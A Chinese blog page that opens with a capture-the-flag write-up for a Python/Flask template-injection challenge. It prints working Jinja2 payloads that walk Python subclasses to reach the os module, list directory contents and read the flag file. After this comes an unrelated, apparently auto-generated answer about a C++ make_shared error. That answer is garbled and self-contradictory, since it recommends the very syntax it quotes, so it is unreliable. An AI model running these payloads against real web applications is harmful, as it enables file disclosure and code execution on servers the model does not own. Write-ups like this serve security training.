[wp] 攻防世界 Web_python_template_injection

在这里插入图片描述
7*7变成49了,应该存在模板注入

{{''.__class__.__mro__[2].__subclasses__()}}

在这里插入图片描述

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

在这里插入图片描述

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

在这里插入图片描述
从零学习flask模板注入
原理在这位师傅的文章里已经写的很详细啦

  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
引用\[1\]:std::shared_ptr<int> p1 = std::make_shared<int>(5);std::weak_ptr<int> wp1 {p1}; // p1 owns the memory. \[1\] 引用\[2\]:You break this by usingweak_ptr. The "owner" typically useshared_ptrand the "owned" use aweak_ptrto its parent, and convert ittemporarilytoshared_ptrwhen it needs access to its parent.(也就是上面说的弱引用使用方法) Smart pointer 使用方法 \[2\] 引用\[3\]: (1)指向对象的指针,_M_ptr (2)用于控制引用计数的对象,_M_refcount。 4、reset void reset() noexcept { __shared_ptr().swap(*this); } template<typename _Tp1> void reset(_Tp1* __p) // _Tp1 must be complete. { // Catch self-reset errors. _GLIBCXX_DEBUG_ASSERT(__p == 0 || __p != _M_ptr); __shared_ptr(__p).swap(*this); } template<typename _Tp1, typename _Deleter> void reset(_Tp1* __p, _Deleter __d) { __shared_ptr(__p, __d).swap(*this); } template<typename _Tp1, typename _Deleter, typename _Alloc> void reset(_Tp1* __p, _Deleter __d, _Alloc __a) { __shared_ptr(__p, __d, std::move(__a)).swap(*this); } \[3\] 问题:Member 'make_shared' cannot have template 回答: 错误信息"Member 'make_shared' cannot have template"意味着在使用make_shared函数时出现了错误。make_shared是一个模板函数,用于创建一个shared_ptr对象并初始化它所指向的对象。通常情况下,我们可以使用make_shared来创建一个shared_ptr对象,而不需要显式地指定模板参数。例如,std::shared_ptr<int> p1 = std::make_shared<int>(5);可以创建一个指向整数的shared_ptr对象p1,并将其初始化为5。\[1\]然而,如果在使用make_shared时出现了该错误,可能是因为编译器无法正确地推断模板参数。在这种情况下,您可以尝试显式地指定模板参数,例如std::shared_ptr<int> p1 = std::make_shared<int>(5);。\[1\] #### 引用[.reference_title] - *1* *2* [C++ smart pointer](https://blog.csdn.net/u011279649/article/details/121473669)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [GNU C++ 智能指针21- 解析__shared_ptr类9](https://blog.csdn.net/kupe87826/article/details/120512250)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值